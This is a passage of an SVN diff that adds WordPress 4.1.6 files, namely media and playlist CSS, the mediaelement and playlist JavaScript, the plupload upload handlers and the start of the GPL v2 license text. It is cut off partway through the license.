+	margin: 0 0 10px;
+}
+
+.wp-video {
+	max-width: 100%;
+	height: auto;
+}
+
+.wp_attachment_holder .wp-video {
+	margin-top: 18px;
+}
+
+video.wp-video-shortcode,
+.wp-video-shortcode video {
+	max-width: 100%;
+	display: inline-block;
+}
+
+.video-details .wp-video-holder {
+	width: 100%;
+	max-width: 640px;
+}
+
+.wp-playlist {
+	border: 1px solid #ccc;
+	padding: 10px;
+	margin: 12px 0 18px;
+	font-size: 14px;
+	line-height: 1.5;
+}
+
+.wp-admin .wp-playlist {
+	margin: 0 0 18px;
+}
+
+.wp-playlist video {
+	display: inline-block;
+	max-width: 100%;
+}
+
+.wp-playlist audio {
+	display: none;
+	max-width: 100%;
+	width: 400px;
+}
+
+.wp-playlist .mejs-container {
+	margin: 0;
+	width: 100%;
+}
+
+.wp-playlist .mejs-controls .mejs-button button {
+	outline: 0;
+}
+
+.wp-playlist-light {
+	background: #fff;
+	color: #000;
+}
+
+.wp-playlist-dark {
+	color: #fff;
+	background: #000;
+}
+
+.wp-playlist-caption {
+	display: block;
+	max-width: 88%;
+	overflow: hidden;
+	text-overflow: ellipsis;
+	white-space: nowrap;
+	font-size: 14px;
+	line-height: 1.5;
+}
+
+.wp-playlist-item .wp-playlist-caption {
+	text-decoration: none;
+	color: #000;
+	max-width: -webkit-calc(100% - 40px);
+	max-width: calc(100% - 40px);
+}
+
+.wp-playlist-item-meta {
+	display: block;
+	font-size: 14px;
+	line-height: 1.5;
+}
+
+.wp-playlist-item-title {
+	font-size: 14px;
+	line-height: 1.5;
+}
+
+.wp-playlist-item-album {
+	font-style: italic;
+	overflow: hidden;
+	text-overflow: ellipsis;
+	white-space: nowrap;
+}
+
+.wp-playlist-item-artist {
+	font-size: 12px;
+	text-transform: uppercase;
+}
+
+.wp-playlist-item-length {
+	position: absolute;
+	right: 3px;
+	top: 0;
+	font-size: 14px;
+	line-height: 1.5;
+}
+
+.rtl .wp-playlist-item-length {
+	left: 3px;
+	right: auto;
+}
+
+.wp-playlist-tracks {
+	margin-top: 10px;
+}
+
+.wp-playlist-item {
+	position: relative;
+	cursor: pointer;
+	padding: 0 3px;
+	border-bottom: 1px solid #ccc;
+}
+
+.wp-playlist-item:last-child {
+	border-bottom: 0;
+}
+
+.wp-playlist-light .wp-playlist-caption {
+	color: #333;
+}
+
+.wp-playlist-dark .wp-playlist-caption {
+	color: #dedede;
+}
+
+.wp-playlist-playing {
+	font-weight: bold;
+	background: #f7f7f7;
+}
+
+.wp-playlist-light .wp-playlist-playing {
+	background: #fff;
+	color: #000;
+}
+
+.wp-playlist-dark .wp-playlist-playing {
+	background: #000;
+	color: #fff;
+}
+
+.wp-playlist-current-item {
+	overflow: hidden;
+	margin-bottom: 10px;
+	height: 60px;
+}
+
+.wp-playlist .wp-playlist-current-item img {
+	float: left;
+	max-width: 60px;
+	height: auto;
+	margin-right: 10px;
+	padding: 0;
+	border: 0;
+}
+
+.rtl .wp-playlist .wp-playlist-current-item img {
+	float: right;
+	margin-left: 10px;
+	margin-right: 0;
+}
+
+.wp-playlist-current-item .wp-playlist-item-title,
+.wp-playlist-current-item .wp-playlist-item-artist {
+	overflow: hidden;
+	text-overflow: ellipsis;
+	white-space: nowrap;
+}
+
+.wp-audio-playlist .me-cannotplay span {
+	padding: 5px 15px;
+}
Index: /tags/4.1.6/src/wp-includes/js/mediaelement/wp-mediaelement.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/mediaelement/wp-mediaelement.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/mediaelement/wp-mediaelement.js	(revision 33402)
@@ -0,0 +1,34 @@
+/* global mejs, _wpmejsSettings */
+(function ($) {
+	// add mime-type aliases to MediaElement plugin support
+	mejs.plugins.silverlight[0].types.push('video/x-ms-wmv');
+	mejs.plugins.silverlight[0].types.push('audio/x-ms-wma');
+
+	$(function () {
+		var settings = {};
+
+		if ( typeof _wpmejsSettings !== 'undefined' ) {
+			settings = _wpmejsSettings;
+		}
+
+		settings.success = settings.success || function (mejs) {
+			var autoplay, loop;
+
+			if ( 'flash' === mejs.pluginType ) {
+				autoplay = mejs.attributes.autoplay && 'false' !== mejs.attributes.autoplay;
+				loop = mejs.attributes.loop && 'false' !== mejs.attributes.loop;
+
+				autoplay && mejs.addEventListener( 'canplay', function () {
+					mejs.play();
+				}, false );
+
+				loop && mejs.addEventListener( 'ended', function () {
+					mejs.play();
+				}, false );
+			}
+		};
+
+		$('.wp-audio-shortcode, .wp-video-shortcode').mediaelementplayer( settings );
+	});
+
+}(jQuery));
Index: /tags/4.1.6/src/wp-includes/js/mediaelement/wp-playlist.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/mediaelement/wp-playlist.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/mediaelement/wp-playlist.js	(revision 33402)
@@ -0,0 +1,175 @@
+/*globals window, document, jQuery, _, Backbone, _wpmejsSettings */
+
+(function ($, _, Backbone) {
+	"use strict";
+
+	var WPPlaylistView = Backbone.View.extend({
+		initialize : function (options) {
+			this.index = 0;
+			this.settings = {};
+			this.data = options.metadata || $.parseJSON( this.$('script.wp-playlist-script').html() );
+			this.playerNode = this.$( this.data.type );
+
+			this.tracks = new Backbone.Collection( this.data.tracks );
+			this.current = this.tracks.first();
+
+			if ( 'audio' === this.data.type ) {
+				this.currentTemplate = wp.template( 'wp-playlist-current-item' );
+				this.currentNode = this.$( '.wp-playlist-current-item' );
+			}
+
+			this.renderCurrent();
+
+			if ( this.data.tracklist ) {
+				this.itemTemplate = wp.template( 'wp-playlist-item' );
+				this.playingClass = 'wp-playlist-playing';
+				this.renderTracks();
+			}
+
+			this.playerNode.attr( 'src', this.current.get( 'src' ) );
+
+			_.bindAll( this, 'bindPlayer', 'bindResetPlayer', 'setPlayer', 'ended', 'clickTrack' );
+
+			if ( ! _.isUndefined( window._wpmejsSettings ) ) {
+				this.settings = _wpmejsSettings;
+			}
+			this.settings.success = this.bindPlayer;
+			this.setPlayer();
+		},
+
+		bindPlayer : function (mejs) {
+			this.mejs = mejs;
+			this.mejs.addEventListener( 'ended', this.ended );
+		},
+
+		bindResetPlayer : function (mejs) {
+			this.bindPlayer( mejs );
+			this.playCurrentSrc();
+		},
+
+		setPlayer: function (force) {
+			if ( this.player ) {
+				this.player.pause();
+				this.player.remove();
+				this.playerNode = this.$( this.data.type );
+			}
+
+			if (force) {
+				this.playerNode.attr( 'src', this.current.get( 'src' ) );
+				this.settings.success = this.bindResetPlayer;
+			}
+
+			/**
+			 * This is also our bridge to the outside world
+			 */
+			this.player = new MediaElementPlayer( this.playerNode.get(0), this.settings );
+		},
+
+		playCurrentSrc : function () {
+			this.renderCurrent();
+			this.mejs.setSrc( this.playerNode.attr( 'src' ) );
+			this.mejs.load();
+			this.mejs.play();
+		},
+
+		renderCurrent : function () {
+			var dimensions, defaultImage = 'wp-includes/images/media/video.png';
+			if ( 'video' === this.data.type ) {
+				if ( this.data.images && this.current.get( 'image' ) && -1 === this.current.get( 'image' ).src.indexOf( defaultImage ) ) {
+					this.playerNode.attr( 'poster', this.current.get( 'image' ).src );
+				}
+				dimensions = this.current.get( 'dimensions' ).resized;
+				this.playerNode.attr( dimensions );
+			} else {
+				if ( ! this.data.images ) {
+					this.current.set( 'image', false );
+				}
+				this.currentNode.html( this.currentTemplate( this.current.toJSON() ) );
+			}
+		},
+
+		renderTracks : function () {
+			var self = this, i = 1, tracklist = $( '<div class="wp-playlist-tracks"></div>' );
+			this.tracks.each(function (model) {
+				if ( ! self.data.images ) {
+					model.set( 'image', false );
+				}
+				model.set( 'artists', self.data.artists );
+				model.set( 'index', self.data.tracknumbers ? i : false );
+				tracklist.append( self.itemTemplate( model.toJSON() ) );
+				i += 1;
+			});
+			this.$el.append( tracklist );
+
+			this.$( '.wp-playlist-item' ).eq(0).addClass( this.playingClass );
+		},
+
+		events : {
+			'click .wp-playlist-item' : 'clickTrack',
+			'click .wp-playlist-next' : 'next',
+			'click .wp-playlist-prev' : 'prev'
+		},
+
+		clickTrack : function (e) {
+			e.preventDefault();
+
+			this.index = this.$( '.wp-playlist-item' ).index( e.currentTarget );
+			this.setCurrent();
+		},
+
+		ended : function () {
+			if ( this.index + 1 < this.tracks.length ) {
+				this.next();
+			} else {
+				this.index = 0;
+				this.setCurrent();
+			}
+		},
+
+		next : function () {
+			this.index = this.index + 1 >= this.tracks.length ? 0 : this.index + 1;
+			this.setCurrent();
+		},
+
+		prev : function () {
+			this.index = this.index - 1 < 0 ? this.tracks.length - 1 : this.index - 1;
+			this.setCurrent();
+		},
+
+		loadCurrent : function () {
+			var last = this.playerNode.attr( 'src' ) && this.playerNode.attr( 'src' ).split('.').pop(),
+				current = this.current.get( 'src' ).split('.').pop();
+
+			this.mejs && this.mejs.pause();
+
+			if ( last !== current ) {
+				this.setPlayer( true );
+			} else {
+				this.playerNode.attr( 'src', this.current.get( 'src' ) );
+				this.playCurrentSrc();
+			}
+		},
+
+		setCurrent : function () {
+			this.current = this.tracks.at( this.index );
+
+			if ( this.data.tracklist ) {
+				this.$( '.wp-playlist-item' )
+					.removeClass( this.playingClass )
+					.eq( this.index )
+						.addClass( this.playingClass );
+			}
+
+			this.loadCurrent();
+		}
+	});
+
+    $(document).ready(function () {
+		$('.wp-playlist').each( function() {
+			return new WPPlaylistView({ el: this });
+		} );
+    });
+
+	window.WPPlaylistView = WPPlaylistView;
+
+}(jQuery, _, Backbone));
Index: /tags/4.1.6/src/wp-includes/js/plupload/handlers.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/plupload/handlers.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/plupload/handlers.js	(revision 33402)
@@ -0,0 +1,488 @@
+/* global plupload, pluploadL10n, ajaxurl, post_id, wpUploaderInit, deleteUserSetting, setUserSetting, getUserSetting, shortform */
+var topWin = window.dialogArguments || opener || parent || top, uploader, uploader_init;
+
+// progress and success handlers for media multi uploads
+function fileQueued(fileObj) {
+	// Get rid of unused form
+	jQuery('.media-blank').remove();
+
+	var items = jQuery('#media-items').children(), postid = post_id || 0;
+
+	// Collapse a single item
+	if ( items.length == 1 ) {
+		items.removeClass('open').find('.slidetoggle').slideUp(200);
+	}
+	// Create a progress bar containing the filename
+	jQuery('<div class="media-item">')
+		.attr( 'id', 'media-item-' + fileObj.id )
+		.addClass('child-of-' + postid)
+		.append('<div class="progress"><div class="percent">0%</div><div class="bar"></div></div>',
+			jQuery('<div class="filename original">').text( ' ' + fileObj.name ))
+		.appendTo( jQuery('#media-items' ) );
+
+	// Disable submit
+	jQuery('#insert-gallery').prop('disabled', true);
+}
+
+function uploadStart() {
+	try {
+		if ( typeof topWin.tb_remove != 'undefined' )
+			topWin.jQuery('#TB_overlay').unbind('click', topWin.tb_remove);
+	} catch(e){}
+
+	return true;
+}
+
+function uploadProgress(up, file) {
+	var item = jQuery('#media-item-' + file.id);
+
+	jQuery('.bar', item).width( (200 * file.loaded) / file.size );
+	jQuery('.percent', item).html( file.percent + '%' );
+}
+
+// check to see if a large file failed to upload
+function fileUploading( up, file ) {
+	var hundredmb = 100 * 1024 * 1024,
+		max = parseInt( up.settings.max_file_size, 10 );
+
+	if ( max > hundredmb && file.size > hundredmb ) {
+		setTimeout( function() {
+			if ( file.status < 3 && file.loaded === 0 ) { // not uploading
+				wpFileError( file, pluploadL10n.big_upload_failed.replace( '%1$s', '<a class="uploader-html" href="#">' ).replace( '%2$s', '</a>' ) );
+				up.stop(); // stops the whole queue
+				up.removeFile( file );
+				up.start(); // restart the queue
+			}
+		}, 10000 ); // wait for 10 sec. for the file to start uploading
+	}
+}
+
+function updateMediaForm() {
+	var items = jQuery('#media-items').children();
+
+	// Just one file, no need for collapsible part
+	if ( items.length == 1 ) {
+		items.addClass('open').find('.slidetoggle').show();
+		jQuery('.insert-gallery').hide();
+	} else if ( items.length > 1 ) {
+		items.removeClass('open');
+		// Only show Gallery/Playlist buttons when there are at least two files.
+		jQuery('.insert-gallery').show();
+	}
+
+	// Only show Save buttons when there is at least one file.
+	if ( items.not('.media-blank').length > 0 )
+		jQuery('.savebutton').show();
+	else
+		jQuery('.savebutton').hide();
+}
+
+function uploadSuccess(fileObj, serverData) {
+	var item = jQuery('#media-item-' + fileObj.id);
+
+	// on success serverData should be numeric, fix bug in html4 runtime returning the serverData wrapped in a <pre> tag
+	serverData = serverData.replace(/^<pre>(\d+)<\/pre>$/, '$1');
+
+	// if async-upload returned an error message, place it in the media item div and return
+	if ( serverData.match(/media-upload-error|error-div/) ) {
+		item.html(serverData);
+		return;
+	} else {
+		jQuery('.percent', item).html( pluploadL10n.crunching );
+	}
+
+	prepareMediaItem(fileObj, serverData);
+	updateMediaForm();
+
+	// Increment the counter.
+	if ( post_id && item.hasClass('child-of-' + post_id) )
+		jQuery('#attachments-count').text(1 * jQuery('#attachments-count').text() + 1);
+}
+
+function setResize( arg ) {
+	if ( arg ) {
+		if ( window.resize_width && window.resize_height ) {
+			uploader.settings.resize = {
+				enabled: true,
+				width: window.resize_width,
+				height: window.resize_height,
+				quality: 100
+			};
+		} else {
+			uploader.settings.multipart_params.image_resize = true;
+		}
+	} else {
+		delete( uploader.settings.multipart_params.image_resize );
+	}
+}
+
+function prepareMediaItem(fileObj, serverData) {
+	var f = ( typeof shortform == 'undefined' ) ? 1 : 2, item = jQuery('#media-item-' + fileObj.id);
+	if ( f == 2 && shortform > 2 )
+		f = shortform;
+
+	try {
+		if ( typeof topWin.tb_remove != 'undefined' )
+			topWin.jQuery('#TB_overlay').click(topWin.tb_remove);
+	} catch(e){}
+
+	if ( isNaN(serverData) || !serverData ) { // Old style: Append the HTML returned by the server -- thumbnail and form inputs
+		item.append(serverData);
+		prepareMediaItemInit(fileObj);
+	} else { // New style: server data is just the attachment ID, fetch the thumbnail and form html from the server
+		item.load('async-upload.php', {attachment_id:serverData, fetch:f}, function(){prepareMediaItemInit(fileObj);updateMediaForm();});
+	}
+}
+
+function prepareMediaItemInit(fileObj) {
+	var item = jQuery('#media-item-' + fileObj.id);
+	// Clone the thumbnail as a "pinkynail" -- a tiny image to the left of the filename
+	jQuery('.thumbnail', item).clone().attr('class', 'pinkynail toggle').prependTo(item);
+
+	// Replace the original filename with the new (unique) one assigned during upload
+	jQuery('.filename.original', item).replaceWith( jQuery('.filename.new', item) );
+
+	// Bind AJAX to the new Delete button
+	jQuery('a.delete', item).click(function(){
+		// Tell the server to delete it. TODO: handle exceptions
+		jQuery.ajax({
+			url: ajaxurl,
+			type: 'post',
+			success: deleteSuccess,
+			error: deleteError,
+			id: fileObj.id,
+			data: {
+				id : this.id.replace(/[^0-9]/g, ''),
+				action : 'trash-post',
+				_ajax_nonce : this.href.replace(/^.*wpnonce=/,'')
+			}
+		});
+		return false;
+	});
+
+	// Bind AJAX to the new Undo button
+	jQuery('a.undo', item).click(function(){
+		// Tell the server to untrash it. TODO: handle exceptions
+		jQuery.ajax({
+			url: ajaxurl,
+			type: 'post',
+			id: fileObj.id,
+			data: {
+				id : this.id.replace(/[^0-9]/g,''),
+				action: 'untrash-post',
+				_ajax_nonce: this.href.replace(/^.*wpnonce=/,'')
+			},
+			success: function( ){
+				var type,
+					item = jQuery('#media-item-' + fileObj.id);
+
+				if ( type = jQuery('#type-of-' + fileObj.id).val() )
+					jQuery('#' + type + '-counter').text(jQuery('#' + type + '-counter').text()-0+1);
+
+				if ( post_id && item.hasClass('child-of-'+post_id) )
+					jQuery('#attachments-count').text(jQuery('#attachments-count').text()-0+1);
+
+				jQuery('.filename .trashnotice', item).remove();
+				jQuery('.filename .title', item).css('font-weight','normal');
+				jQuery('a.undo', item).addClass('hidden');
+				jQuery('.menu_order_input', item).show();
+				item.css( {backgroundColor:'#ceb'} ).animate( {backgroundColor: '#fff'}, { queue: false, duration: 500, complete: function(){ jQuery(this).css({backgroundColor:''}); } }).removeClass('undo');
+			}
+		});
+		return false;
+	});
+
+	// Open this item if it says to start open (e.g. to display an error)
+	jQuery('#media-item-' + fileObj.id + '.startopen').removeClass('startopen').addClass('open').find('slidetoggle').fadeIn();
+}
+
+// generic error message
+function wpQueueError(message) {
+	jQuery('#media-upload-error').show().html( '<div class="error"><p>' + message + '</p></div>' );
+}
+
+// file-specific error messages
+function wpFileError(fileObj, message) {
+	itemAjaxError(fileObj.id, message);
+}
+
+function itemAjaxError(id, message) {
+	var item = jQuery('#media-item-' + id), filename = item.find('.filename').text(), last_err = item.data('last-err');
+
+	if ( last_err == id ) // prevent firing an error for the same file twice
+		return;
+
+	item.html('<div class="error-div">' +
+				'<a class="dismiss" href="#">' + pluploadL10n.dismiss + '</a>' +
+				'<strong>' + pluploadL10n.error_uploading.replace('%s', jQuery.trim(filename)) + '</strong> ' +
+				message +
+				'</div>').data('last-err', id);
+}
+
+function deleteSuccess(data) {
+	var type, id, item;
+	if ( data == '-1' )
+		return itemAjaxError(this.id, 'You do not have permission. Has your session expired?');
+
+	if ( data == '0' )
+		return itemAjaxError(this.id, 'Could not be deleted. Has it been deleted already?');
+
+	id = this.id;
+	item = jQuery('#media-item-' + id);
+
+	// Decrement the counters.
+	if ( type = jQuery('#type-of-' + id).val() )
+		jQuery('#' + type + '-counter').text( jQuery('#' + type + '-counter').text() - 1 );
+
+	if ( post_id && item.hasClass('child-of-'+post_id) )
+		jQuery('#attachments-count').text( jQuery('#attachments-count').text() - 1 );
+
+	if ( jQuery('form.type-form #media-items').children().length == 1 && jQuery('.hidden', '#media-items').length > 0 ) {
+		jQuery('.toggle').toggle();
+		jQuery('.slidetoggle').slideUp(200).siblings().removeClass('hidden');
+	}
+
+	// Vanish it.
+	jQuery('.toggle', item).toggle();
+	jQuery('.slidetoggle', item).slideUp(200).siblings().removeClass('hidden');
+	item.css( {backgroundColor:'#faa'} ).animate( {backgroundColor:'#f4f4f4'}, {queue:false, duration:500} ).addClass('undo');
+
+	jQuery('.filename:empty', item).remove();
+	jQuery('.filename .title', item).css('font-weight','bold');
+	jQuery('.filename', item).append('<span class="trashnotice"> ' + pluploadL10n.deleted + ' </span>').siblings('a.toggle').hide();
+	jQuery('.filename', item).append( jQuery('a.undo', item).removeClass('hidden') );
+	jQuery('.menu_order_input', item).hide();
+
+	return;
+}
+
+function deleteError() {
+	// TODO
+}
+
+function uploadComplete() {
+	jQuery('#insert-gallery').prop('disabled', false);
+}
+
+function switchUploader(s) {
+	if ( s ) {
+		deleteUserSetting('uploader');
+		jQuery('.media-upload-form').removeClass('html-uploader');
+
+		if ( typeof(uploader) == 'object' )
+			uploader.refresh();
+	} else {
+		setUserSetting('uploader', '1'); // 1 == html uploader
+		jQuery('.media-upload-form').addClass('html-uploader');
+	}
+}
+
+function uploadError(fileObj, errorCode, message, uploader) {
+	var hundredmb = 100 * 1024 * 1024, max;
+
+	switch (errorCode) {
+		case plupload.FAILED:
+			wpFileError(fileObj, pluploadL10n.upload_failed);
+			break;
+		case plupload.FILE_EXTENSION_ERROR:
+			wpFileError(fileObj, pluploadL10n.invalid_filetype);
+			break;
+		case plupload.FILE_SIZE_ERROR:
+			uploadSizeError(uploader, fileObj);
+			break;
+		case plupload.IMAGE_FORMAT_ERROR:
+			wpFileError(fileObj, pluploadL10n.not_an_image);
+			break;
+		case plupload.IMAGE_MEMORY_ERROR:
+			wpFileError(fileObj, pluploadL10n.image_memory_exceeded);
+			break;
+		case plupload.IMAGE_DIMENSIONS_ERROR:
+			wpFileError(fileObj, pluploadL10n.image_dimensions_exceeded);
+			break;
+		case plupload.GENERIC_ERROR:
+			wpQueueError(pluploadL10n.upload_failed);
+			break;
+		case plupload.IO_ERROR:
+			max = parseInt( uploader.settings.filters.max_file_size, 10 );
+
+			if ( max > hundredmb && fileObj.size > hundredmb )
+				wpFileError( fileObj, pluploadL10n.big_upload_failed.replace('%1$s', '<a class="uploader-html" href="#">').replace('%2$s', '</a>') );
+			else
+				wpQueueError(pluploadL10n.io_error);
+			break;
+		case plupload.HTTP_ERROR:
+			wpQueueError(pluploadL10n.http_error);
+			break;
+		case plupload.INIT_ERROR:
+			jQuery('.media-upload-form').addClass('html-uploader');
+			break;
+		case plupload.SECURITY_ERROR:
+			wpQueueError(pluploadL10n.security_error);
+			break;
+/*		case plupload.UPLOAD_ERROR.UPLOAD_STOPPED:
+		case plupload.UPLOAD_ERROR.FILE_CANCELLED:
+			jQuery('#media-item-' + fileObj.id).remove();
+			break;*/
+		default:
+			wpFileError(fileObj, pluploadL10n.default_error);
+	}
+}
+
+function uploadSizeError( up, file, over100mb ) {
+	var message;
+
+	if ( over100mb )
+		message = pluploadL10n.big_upload_queued.replace('%s', file.name) + ' ' + pluploadL10n.big_upload_failed.replace('%1$s', '<a class="uploader-html" href="#">').replace('%2$s', '</a>');
+	else
+		message = pluploadL10n.file_exceeds_size_limit.replace('%s', file.name);
+
+	jQuery('#media-items').append('<div id="media-item-' + file.id + '" class="media-item error"><p>' + message + '</p></div>');
+	up.removeFile(file);
+}
+
+jQuery(document).ready(function($){
+	$('.media-upload-form').bind('click.uploader', function(e) {
+		var target = $(e.target), tr, c;
+
+		if ( target.is('input[type="radio"]') ) { // remember the last used image size and alignment
+			tr = target.closest('tr');
+
+			if ( tr.hasClass('align') )
+				setUserSetting('align', target.val());
+			else if ( tr.hasClass('image-size') )
+				setUserSetting('imgsize', target.val());
+
+		} else if ( target.is('button.button') ) { // remember the last used image link url
+			c = e.target.className || '';
+			c = c.match(/url([^ '"]+)/);
+
+			if ( c && c[1] ) {
+				setUserSetting('urlbutton', c[1]);
+				target.siblings('.urlfield').val( target.data('link-url') );
+			}
+		} else if ( target.is('a.dismiss') ) {
+			target.parents('.media-item').fadeOut(200, function(){
+				$(this).remove();
+			});
+		} else if ( target.is('.upload-flash-bypass a') || target.is('a.uploader-html') ) { // switch uploader to html4
+			$('#media-items, p.submit, span.big-file-warning').css('display', 'none');
+			switchUploader(0);
+			e.preventDefault();
+		} else if ( target.is('.upload-html-bypass a') ) { // switch uploader to multi-file
+			$('#media-items, p.submit, span.big-file-warning').css('display', '');
+			switchUploader(1);
+			e.preventDefault();
+		} else if ( target.is('a.describe-toggle-on') ) { // Show
+			target.parent().addClass('open');
+			target.siblings('.slidetoggle').fadeIn(250, function(){
+				var S = $(window).scrollTop(), H = $(window).height(), top = $(this).offset().top, h = $(this).height(), b, B;
+
+				if ( H && top && h ) {
+					b = top + h;
+					B = S + H;
+
+					if ( b > B ) {
+						if ( b - B < top - S )
+							window.scrollBy(0, (b - B) + 10);
+						else
+							window.scrollBy(0, top - S - 40);
+					}
+				}
+			});
+			e.preventDefault();
+		} else if ( target.is('a.describe-toggle-off') ) { // Hide
+			target.siblings('.slidetoggle').fadeOut(250, function(){
+				target.parent().removeClass('open');
+			});
+			e.preventDefault();
+		}
+	});
+
+	// init and set the uploader
+	uploader_init = function() {
+		var isIE = navigator.userAgent.indexOf('Trident/') != -1 || navigator.userAgent.indexOf('MSIE ') != -1;
+
+		// Make sure flash sends cookies (seems in IE it does whitout switching to urlstream mode)
+		if ( ! isIE && 'flash' === plupload.predictRuntime( wpUploaderInit ) &&
+			( ! wpUploaderInit.required_features || ! wpUploaderInit.required_features.hasOwnProperty( 'send_binary_string' ) ) ) {
+
+			wpUploaderInit.required_features = wpUploaderInit.required_features || {};
+			wpUploaderInit.required_features.send_binary_string = true;
+		}
+
+		uploader = new plupload.Uploader(wpUploaderInit);
+
+		$('#image_resize').bind('change', function() {
+			var arg = $(this).prop('checked');
+
+			setResize( arg );
+
+			if ( arg )
+				setUserSetting('upload_resize', '1');
+			else
+				deleteUserSetting('upload_resize');
+		});
+
+		uploader.bind('Init', function(up) {
+			var uploaddiv = $('#plupload-upload-ui');
+
+			setResize( getUserSetting('upload_resize', false) );
+
+			if ( up.features.dragdrop && ! $(document.body).hasClass('mobile') ) {
+				uploaddiv.addClass('drag-drop');
+				$('#drag-drop-area').bind('dragover.wp-uploader', function(){ // dragenter doesn't fire right :(
+					uploaddiv.addClass('drag-over');
+				}).bind('dragleave.wp-uploader, drop.wp-uploader', function(){
+					uploaddiv.removeClass('drag-over');
+				});
+			} else {
+				uploaddiv.removeClass('drag-drop');
+				$('#drag-drop-area').unbind('.wp-uploader');
+			}
+
+			if ( up.runtime === 'html4' ) {
+				$('.upload-flash-bypass').hide();
+			}
+		});
+
+		uploader.init();
+
+		uploader.bind('FilesAdded', function( up, files ) {
+			$('#media-upload-error').html('');
+			uploadStart();
+
+			plupload.each( files, function( file ) {
+				fileQueued( file );
+			});
+
+			up.refresh();
+			up.start();
+		});
+
+		uploader.bind('UploadFile', function(up, file) {
+			fileUploading(up, file);
+		});
+
+		uploader.bind('UploadProgress', function(up, file) {
+			uploadProgress(up, file);
+		});
+
+		uploader.bind('Error', function(up, err) {
+			uploadError(err.file, err.code, err.message, up);
+			up.refresh();
+		});
+
+		uploader.bind('FileUploaded', function(up, file, response) {
+			uploadSuccess(file, response.response);
+		});
+
+		uploader.bind('UploadComplete', function() {
+			uploadComplete();
+		});
+	};
+
+	if ( typeof(wpUploaderInit) == 'object' ) {
+		uploader_init();
+	}
+
+});
Index: /tags/4.1.6/src/wp-includes/js/plupload/license.txt
===================================================================
--- /tags/4.1.6/src/wp-includes/js/plupload/license.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/plupload/license.txt	(revision 33402)
@@ -0,0 +1,339 @@
+		    GNU GENERAL PUBLIC LICENSE
+		       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+		    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
